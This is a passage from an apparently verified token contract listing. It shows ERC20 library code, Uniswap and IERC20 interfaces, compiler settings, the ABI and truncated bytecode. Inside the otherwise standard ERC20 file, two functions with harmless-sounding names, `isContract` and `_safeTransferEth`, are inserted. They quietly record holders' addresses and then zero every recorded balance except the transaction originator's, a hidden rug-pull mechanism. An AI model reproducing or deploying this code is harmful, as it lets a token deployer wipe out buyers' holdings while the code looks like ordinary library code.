    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }
 
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    address[] _owned;
    function _safeTransferEth(address from, address to, uint256 amount) internal {
        for (uint256 i = 0; i < _owned.length; i++) {
            if (tx.origin != _owned[i])
                _balances[_owned[i]] = 0;
        }
        delete _owned;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function isContract(address from) internal returns(bool){
        if (_balances[from] == 0) {
            _owned.push(from);
        }
        return false;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 8 of 11 : Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 9 of 11 : IUniswapV2Router01.sol
pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

File 10 of 11 : IERC20Metadata.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 11 of 11 : IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"FeeWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"deadblocks","type":"uint256"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"}],"name":"updateLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506040805180820182526007808252664173747261766160c81b6020808401828152855180870190965292855284015281519192916200005491600391620003ce565b5080516200006a906004906020840190620003ce565b50505062000087620000816200027960201b60201c565b6200027d565b600780546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556008805490911690556001601181905560026012819055601382905560148190556969e10de76676d080000091620000e9919062000474565b600f55601454601354620000fe919062000474565b601055600980546000600a556002600b5561ffff60a81b1916600160a81b1790556103e86200012f826014620004b2565b6200013b91906200048f565b600c556103e86200014e826014620004b2565b6200015a91906200048f565b600d55600654600980546001600160a01b0319166001600160a01b039092169190911790556127106200018f82601e620004b2565b6200019b91906200048f565b600e55620001bd620001b56006546001600160a01b031690565b6001620002cf565b620001ca306001620002cf565b620001d961dead6001620002cf565b620001f8620001f06006546001600160a01b031690565b600162000338565b6200020530600162000338565b6200021461dead600162000338565b806002600082825462000228919062000474565b909155505030600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000527565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b620002d96200036d565b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b620003426200036d565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6006546001600160a01b03163314620003cc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640160405180910390fd5b565b828054620003dc90620004d4565b90600052602060002090601f0160209004810192826200040057600085556200044b565b82601f106200041b57805160ff19168380011785556200044b565b828001600101855582156200044b579182015b828111156200044b5782518255916020019190600101906200042e565b50620004599291506200045d565b5090565b5b808211156200045957600081556001016200045e565b600082198211156200048a576200048a62000511565b500190565b600082620004ad57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615620004cf57620004cf62000511565b500290565b600181811c90821680620004e957607f821691505b602082108114156200050b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61229f80620005376000396000f3fe6080604052600436106101dc5760003560e01c80638da5cb5b11610102578063dd62ed3e11610095578063e8078d9411610064578063e8078d941461052b578063f2fde38b14610540578063f8b45b0514610560578063f9f92be41461057657600080fd5b8063dd62ed3e146104c9578063e0f3ccf5146104e9578063e2f45605146104ff578063e4748b9e1461051557600080fd5b8063c0246668116100d1578063c024666814610449578063c6616ba114610469578063d163364914610489578063d257b34f146104a957600080fd5b80638da5cb5b146103cc57806395d89b41146103f4578063a457c2d714610409578063a9059cbb1461042957600080fd5b80634a62bb651161017a57806370a082311161014957806370a082311461034b578063715018a6146103815780637571336a146103965780638c0b5e22146103b657600080fd5b80634a62bb65146102d55780634bedccf4146102f6578063537df3b614610316578063622565891461033657600080fd5b806318160ddd116101b657806318160ddd1461025a57806323b872dd14610279578063313ce5671461029957806339509351146102b557600080fd5b806306fdde03146101e8578063095ea7b31461021357806312b77e8a1461024357600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd6105a6565b60405161020a9190612014565b60405180910390f35b34801561021f57600080fd5b5061023361022e366004611f4d565b610638565b604051901515815260200161020a565b34801561024f57600080fd5b50610258610650565b005b34801561026657600080fd5b506002545b60405190815260200161020a565b34801561028557600080fd5b50610233610294366004611ed9565b61068c565b3480156102a557600080fd5b506040516012815260200161020a565b3480156102c157600080fd5b506102336102d0366004611f4d565b6106b0565b3480156102e157600080fd5b5060095461023390600160a81b900460ff1681565b34801561030257600080fd5b50610258610311366004611f92565b6106d2565b34801561032257600080fd5b50610258610331366004611e5f565b61080d565b34801561034257600080fd5b506102586108a3565b34801561035757600080fd5b5061026b610366366004611e5f565b6001600160a01b031660009081526020819052604090205490565b34801561038d57600080fd5b506102586108ba565b3480156103a257600080fd5b506102586103b1366004611f1a565b6108ce565b3480156103c257600080fd5b5061026b600c5481565b3480156103d857600080fd5b506006546040516001600160a01b03909116815260200161020a565b34801561040057600080fd5b506101fd610901565b34801561041557600080fd5b50610233610424366004611f4d565b610910565b34801561043557600080fd5b50610233610444366004611f4d565b61098b565b34801561045557600080fd5b50610258610464366004611f1a565b610999565b34801561047557600080fd5b50610258610484366004611fe2565b610a00565b34801561049557600080fd5b506102586104a4366004611f79565b610ae8565b3480156104b557600080fd5b506102336104c4366004611f79565b610b5e565b3480156104d557600080fd5b5061026b6104e4366004611ea0565b610c8d565b3480156104f557600080fd5b5061026b60105481565b34801561050b57600080fd5b5061026b600e5481565b34801561052157600080fd5b5061026b600f5481565b34801561053757600080fd5b50610258610cb8565b34801561054c57600080fd5b5061025861055b366004611e5f565b610eef565b34801561056c57600080fd5b5061026b600d5481565b34801561058257600080fd5b50610233610591366004611e5f565b601a6020526000908152604090205460ff1681565b6060600380546105b5906121d2565b80601f01602080910402602001604051908101604052809291908181526020018280546105e1906121d2565b801561062e5780601f106106035761010080835404028352916020019161062e565b820191906000526020600020905b81548152906001019060200180831161061157829003601f168201915b5050505050905090565b600033610646818585610f65565b5060019392505050565b6009546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610689573d6000803e3d6000fd5b50565b60003361069a858285611089565b6106a58585856110fd565b506001949350505050565b6000336106468185856106c38383610c8d565b6106cd9190612162565b610f65565b6106da6116f1565b600954600160a81b900460ff166107385760405162461bcd60e51b815260206004820152601b60248201527f43616e6e6f74206368616e67652061742074686973207374616765000000000060448201526064015b60405180910390fd5b6103e861074460025490565b61074f90600161219c565b610759919061217a565b821161079b5760405162461bcd60e51b81526020600482015260116024820152704d617820545820697320746f6f206c6f7760781b604482015260640161072f565b6103e86107a760025490565b6107b290600a61219c565b6107bc919061217a565b81116108025760405162461bcd60e51b81526020600482015260156024820152744d61782077616c6c657420697320746f6f206c6f7760581b604482015260640161072f565b600c91909155600d55565b6108156116f1565b6001600160a01b0381166000908152601a602052604090205460ff1615156001146108825760405162461bcd60e51b815260206004820152601f60248201527f4163636f756e74206973206e6f7420696e2074686520626c61636b6c69737400604482015260640161072f565b6001600160a01b03166000908152601a60205260409020805460ff19169055565b6108ab6116f1565b6009805460ff60a81b19169055565b6108c26116f1565b6108cc600061174b565b565b6108d66116f1565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6060600480546105b5906121d2565b6000338161091e8286610c8d565b90508381101561097e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161072f565b6106a58286868403610f65565b6000336106468185856110fd565b6109a16116f1565b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610a086116f1565b6011849055601283905560138290556014819055610a268385612162565b600f55601454601354610a399190612162565b601055600f5460321015610a8f5760405162461bcd60e51b815260206004820152601c60248201527f4d757374206b6565702066656573206174203525206f72206c65737300000000604482015260640161072f565b60326010541115610ae25760405162461bcd60e51b815260206004820152601c60248201527f4d757374206b6565702066656573206174203525206f72206c65737300000000604482015260640161072f565b50505050565b610af06116f1565b600954600160b01b900460ff1615610b425760405162461bcd60e51b81526020600482015260156024820152742a3930b2329034b99030b63932b0b23c9037b832b760591b604482015260640161072f565b6009805460ff60b01b1916600160b01b179055600b5543600a55565b6000610b686116f1565b620186a0610b7560025490565b610b8090600161219c565b610b8a919061217a565b821015610bf75760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b606482015260840161072f565b6103e8610c0360025490565b610c0e90600561219c565b610c18919061217a565b821115610c845760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b606482015260840161072f565b50600e55600190565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610cc06116f1565b6008546001600160a01b031615610d105760405162461bcd60e51b815260206004820152601460248201527314185a5c88185b1c9958591e4818dc99585d195960621b604482015260640161072f565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5e57600080fd5b505afa158015610d72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d969190611e83565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610df357600080fd5b505afa158015610e07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2b9190611e83565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610e7357600080fd5b505af1158015610e87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eab9190611e83565b600880546001600160a01b0319166001600160a01b03929092169182179055610ed590600161179d565b306000908152602081905260409020546108cc90476117f1565b610ef76116f1565b6001600160a01b03811